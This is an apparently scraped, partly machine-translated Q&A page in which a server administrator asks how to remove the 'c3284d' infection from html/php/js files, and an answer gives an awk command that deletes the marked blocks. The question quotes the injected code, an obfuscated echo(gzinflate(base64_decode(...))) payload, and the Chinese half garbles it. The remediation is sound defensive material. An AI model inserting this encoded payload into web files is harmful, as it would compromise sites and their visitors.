干净的服务器感染病毒c3284d使用搜索和替换 [英] Clean server infected with c3284d virus, using search and replace
问题描述
我在与臭名昭著的病毒c3284d一个问题。它修改pretty多所有的HTML / PHP / js文件,它可以找到。
我已经改变了所有的密码和用户在服务器上,因此,如果这是一个妥协的帐户,它应该已经解决了这个问题,但我仍然完全清除它挣扎。
我能找到它使用一个简单的须藤的grep -R#c3284d#的/ home
命令所有被感染的文件。
但我需要一个快速的方法来搜索和的替换的吧。
该病毒签名是这一行:
#c3284d#
echo(gzinflate(base64_de$c$c(\"VVHBboMwDL1X6j/kZtA6GKgMdaOVummHnfYB6xQFYkokmqSJS+nfD1hXbb7ZfvZ7fi585ZSlzXzWCcf4ka2ZNNXpgJqiyqEgfGtxzAJQtRMHhHAxn7EhuB6w4JG2RE6VJ0J4ns/48ZPrrwC8q2DBoCGyT3HcoHBkamtajDRS3B/ayDYWwmki8nQZGtZ4RcpMa0XpTXtbeQWclaRm7CaPtv9LNgkrjZPoBlItOrUXZFx08ui2+/EUpSX2H3UA8kHkIlmmZZ5lSZ5Kkad1nS9FIqo0S1YrCNkdS/7parGmkfU+y1b5D/HNorNThAEUUnVMyfUOOJdOyG4HmyIeipvpxBt8j3S18+XyLoNfNISRsBa1fG1UKwN+HIeK+Pqabw==\")));
#/ c3284d#
块引用>当回声线可以改变和变化,但它总是与
#C32 ..#
开始,以#/ C3完成.. ..#
。我只是想用什么来取代它。
解决方案的awk'BEGIN {清洁= 1} /#c3284d#/ {清洁= 0} /#\\ / c3284d# / {清洁= 1} {如果(清洁== 1安培;&放大器;匹配($ 0,#\\ / c3284d#)== 0){打印$ 0}}'脏文件>清理文件
这是一个拗口,但它的伎俩:
$猫<<'EOF'| awk的'BEGIN {清洁= 1} /#c3284d#/ {清洁= 0} /#\\ / c3284d#/ {清洁= 1} {如果(清洁== 1安培;&放大器;匹配($ 0,#\\ / c3284d #)== 0){打印$ 0}}'
>富
> #c3284d#
>酒吧
>巴兹
> #/ c3284d#
> QUUX
> EOF
富
QUUXI'm having an issue with the Notorious c3284d virus. It modifies pretty much all the html/php/js files it can find.
I've changed all the passwords and users on the server, so if it's a compromised account it should have solved that issue, but I'm still struggling with removing it altogether.
I was able to find it all the infected files using a simple
sudo grep -R "#c3284d#" /home
command.But I need a quick way to search and replace it.
The virus signature is this line:
"#c3284d#" echo(gzinflate(base64_decode("VVHBboMwDL1X6j/kZtA6GKgMdaOVummHnfYB6xQFYkokmqSJS+nfD1hXbb7ZfvZ7fi585ZSlzXzWCcf4ka2ZNNXpgJqiyqEgfGtxzAJQtRMHhHAxn7EhuB6w4JG2RE6VJ0J4ns/48ZPrrwC8q2DBoCGyT3HcoHBkamtajDRS3B/ayDYWwmki8nQZGtZ4RcpMa0XpTXtbeQWclaRm7CaPtv9LNgkrjZPoBlItOrUXZFx08ui2+/EUpSX2H3UA8kHkIlmmZZ5lSZ5Kkad1nS9FIqo0S1YrCNkdS/7parGmkfU+y1b5D/HNorNThAEUUnVMyfUOOJdOyG4HmyIeipvpxBt8j3S18+XyLoNfNISRsBa1fG1UKwN+HIeK+Pqabw=="))); "#/c3284d#"
When the echo line can change and vary, but it will always start with
#c32..#
and finish with#/c3....#
.I just want to replace it with nothing.
解决方案awk 'BEGIN { clean=1 } /#c3284d#/ { clean=0 } /#\/c3284d#/ { clean=1 } { if (clean==1 && match($0,"#\/c3284d#") == 0) { print $0 } }' dirty-file > clean-file
That's a mouthful but it does the trick:
$ cat <<'EOF' | awk 'BEGIN { clean=1 } /#c3284d#/ { clean=0 } /#\/c3284d#/ { clean=1 } { if (clean==1 && match($0,"#\/c3284d#") == 0) { print $0 } }' > foo > #c3284d# > bar > baz > #/c3284d# > quux > EOF foo quux
这篇关于干净的服务器感染病毒c3284d使用搜索和替换的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!